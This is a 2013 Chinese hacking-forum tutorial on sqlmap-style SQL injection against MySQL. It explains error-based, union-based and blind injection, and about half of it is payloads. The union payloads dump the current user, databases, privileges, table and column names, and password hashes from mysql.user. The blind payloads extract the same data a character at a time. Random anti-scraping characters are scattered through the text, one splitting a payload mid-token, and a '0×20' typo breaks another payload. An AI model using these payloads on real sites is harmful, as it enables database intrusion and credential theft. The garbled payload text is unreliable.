找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2343|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
# P# q# m8 s& s7 i/ S5 B / X# G8 y5 a+ S/ O9 O! S
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表1 A! }" G/ I  ^: n5 \* G

2 p0 X! S9 V# I5 N) u2 V. C分类标准        分类        备注. `# u, i8 S2 e6 n& [. T. l
按字段类型        整型注入,字符型注入        0 F; O7 w1 Z4 `4 f. N
按出现的位置        get注入,post注入,cookie注入,http header注入        ( K  O8 D: S" q2 d# @5 l
然而高级注入是这样的2 @4 ~) d1 o$ |6 q% u
2 ?2 k  S* Z$ C1 U
高级注入分类        条件
8 z* ^" m' `3 W: r6 F* Lerror-based sql        数据库的错误回显可以返回,存在数据库,表结构% y  x  ^* ?- b$ k# p0 C" [+ h
union-based sql        能够使用union,存在数据库,表结构; n: ]6 h: v/ Q* y. j
blind sql        存在注入
" k; A, {: q, R我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
8 t6 H" O9 s* @
9 K# P) b1 M+ |# o: T" a6 W( b' k' ]好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火& d& \: ~. |* D& M' Y/ V. `3 Z
. f/ I( v* P0 `4 B' n
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。' o: t% {0 D1 K+ {3 N. x! A( q
8 u" O- j/ @) N8 J. D" k
这里用mysql说明
+ N$ j6 A6 y' T$ _* H' ^. w
" {! n$ J% R0 E2 }2 ^8 ne注入坛子里很多了,请看戳我或者再戳我3 ^( U1 A% G3 `# c- |( c/ K( C

9 g! \' t9 a, [u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的4 v" X) g( n# @2 I3 G$ j

7 _6 l" {1 d6 c- r/ Z0 i) J- o获取当前数据库用户名4 O: _; h: d5 |* K7 f
% {3 g: h7 d$ v( w0 M  T
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C! h; ]9 W7 e7 E% c& x
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL  W0 E& ^$ t# W* l8 i- `! m5 n! z
L, NULL#
. W9 p! A& ^# j  T注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
8 j5 H8 A( ?, a& H$ \
  |5 W' t% q2 }% ]' w获取数据库名
' d. K# ]; L0 {7 h7 [; O. A * v# d' m1 @' |  D( t( P3 _
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#+ d1 b9 {: T6 A, g8 q/ ]- p0 n
获取所有用户名/ J5 K& E6 Z1 K" y8 r

8 {6 S0 z4 T" C1 K  qUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
9 Q* I( T8 J9 N7 d  y查看当前用户权限, W, t3 |, b' I' }: j& X

! ]1 a$ \9 O5 ?( k4 [4 ~- G% VUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#$ x' n, ?: _7 E% u# g& L
尝试获取密码,当然需要有能读mysql数据库的权限
" ]4 ~2 Q. Z) z3 R
9 f7 \( U- }5 q: ]+ d2 x0 }7 ?UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#3 r( n, Z6 D5 D/ o$ j& u
获取表名,limit什么的自己搞啦) ]( \1 H  d/ \  ^3 k8 Q

$ z9 v8 ^6 ~/ [: _UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
5 o' Z2 ^  V$ B0 x1 r获取字段名及其类型
0 h# j4 O4 E( V  EUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
" T* r* m5 j: N  i% J7 u 6 E( D: {  v4 \5 I2 W  I
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
( p- ~: {9 N2 R+ i, X$ G; Z % V  I8 p- G/ T  J, H/ Q0 J/ I6 q
如:
5 ]1 U& H/ V) T获取当前用户名1 w1 s* m! W: w" Q) T; f$ @

( S8 q9 f- E, g" ^) }! RAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116: m* t1 ~$ ]. a4 \3 q+ {
获取当前数据库. r8 U, `0 r, x+ z7 q
+ Z& n7 f6 n/ P2 T' B
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
, E* u/ b% H+ m4 A3 k获取表名
: \: V2 J" j; z0 P% Y4 l* g$ J + J# G- A+ b* R! t) @9 w9 n+ @# s
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 511 C% c. i' U0 @% U
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
7 V! \1 F. d" H+ X* t& u3 }& m回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。" R6 A" w4 e" a8 S0 D) V
爆表: t5 j* y6 |2 c! Q' z
7 ?% I% J0 k& N8 H2 @1 G
AND EXISTS(select * from table)
/ J. O5 K; h  V0 K9 V" z爆字段* a/ W% F; [. ]8 ?/ @; B

  I0 [: D/ Y( ~AND EXISTS(select pwd from table)
0 P4 ^) V* D8 T1 I9 h盲注的变化就比较多了,由于篇幅,只是举个例子而已。
  @3 u$ z% W% h. @+ C* }) e( m" K* {
) }! j3 ?2 ^) M3 |; m9 ~本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。% j( f+ ^# K3 v! g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表